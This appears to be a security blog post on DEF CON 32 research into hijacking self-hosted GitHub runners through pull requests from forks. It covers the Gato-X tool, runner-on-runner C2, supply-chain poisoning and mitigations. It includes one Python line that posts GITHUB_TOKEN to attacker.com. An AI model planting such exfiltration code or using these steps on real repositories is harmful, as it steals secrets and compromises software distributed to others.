How to Hijack Self-Hosted GitHub Runners and Poison the Supply Chain

TLDR: Self-hosted GitHub runners are often misconfigured, allowing attackers to execute arbitrary code by submitting malicious pull requests to public repositories. By exploiting these runners, researchers can steal sensitive GitHub secrets, pivot into internal networks, and even poison build artifacts. This post breaks down the attack flow and introduces Gato-X, a tool designed to automate the discovery and exploitation of these vulnerable CI/CD environments.

CI/CD pipelines are the crown jewels of modern software development. They hold the keys to production environments, cloud infrastructure, and signing certificates. While most security teams focus on hardening their cloud IAM roles or patching web applications, they often leave their build infrastructure wide open. The research presented at DEF CON 32 on abusing self-hosted GitHub runners proves that if you can compromise the runner, you effectively own the entire development lifecycle.

The Mechanics of Runner Takeover

Self-hosted runners are not ephemeral by default. Unlike GitHub-hosted runners, which are spun up in a clean container and destroyed after every job, self-hosted runners are persistent machines managed by the user. This persistence is a gift to an attacker. If you can achieve remote code execution (RCE) on a self-hosted runner, you gain a foothold that survives across multiple jobs and potentially across different workflows.

The attack vector relies on the default configuration of public repositories. When a repository allows pull requests from forks, it often triggers workflows on the runner. If the repository is configured to run these workflows on a self-hosted runner, an attacker can submit a pull request containing a modified workflow file. Because the runner is persistent, the attacker can inject malicious code that executes with the runner's system privileges.

Automating the Pwn with Gato-X

Identifying these targets manually is tedious, which is why the release of Gato-X is a game-changer for researchers. The tool automates the entire lifecycle of the attack: finding candidate repositories, verifying the presence of a self-hosted runner, and executing the payload.

The core of the attack involves "runner-on-runner" C2. Once you have a shell on the initial runner, you can install a second runner that acts as your command-and-control node. This allows you to intercept traffic and execute commands whenever a legitimate workflow runs on the compromised host.

To execute the initial injection, you might use a payload that targets a script outside the restricted .github/workflows directory. For example, if a workflow calls a Python script in a scripts/ folder, you can modify that script to exfiltrate environment variables:

import os
# Exfiltrate secrets to an attacker-controlled endpoint
os.system("curl -X POST -d 'secret='${GITHUB_TOKEN} https://attacker.com/log")

This simple injection allows you to capture the GITHUB_TOKEN, which often has enough permissions to modify repository contents, delete releases, or trigger further workflows.

Real-World Impact and Lateral Movement

During a red team engagement, the impact of this vulnerability is catastrophic. Once you have the GITHUB_TOKEN from a compromised runner, you are no longer limited to the repository where the attack started. You can use the token to interact with the GitHub API, enumerate other repositories in the organization, and identify further targets.

If the runner has access to cloud credentials—such as AWS keys stored as repository secrets—you can pivot directly into the target's cloud infrastructure. The researchers demonstrated this by using the stolen credentials to access S3 buckets, where they could potentially overwrite legitimate build artifacts with malicious versions. This is the definition of a supply chain attack: you aren't just hacking the company; you are hacking their customers by poisoning the software they distribute.

Defending the Pipeline

Securing your CI/CD environment requires moving away from the "it just works" default settings. First, stop using self-hosted runners for public repositories. If you must use them, ensure they are strictly ephemeral. The Actions Runner Controller (ARC) is the industry standard for managing runners on Kubernetes, providing the isolation necessary to prevent persistent compromises.

Second, audit your repository settings. Ensure that "Require approval for all outside collaborators" is enabled. This forces a manual review of any pull request that could trigger a workflow, providing a critical gate against automated exploitation.

Finally, minimize the scope of your GITHUB_TOKEN. Use fine-grained personal access tokens whenever possible, and restrict their permissions to the absolute minimum required for the task. If a workflow only needs to read code, it should not have write access to the repository or the ability to manage releases.

The era of ignoring CI/CD security is over. As these techniques become more widely understood, the barrier to entry for supply chain attacks will drop significantly. Start by auditing your runner configurations today, because if you don't, someone else will.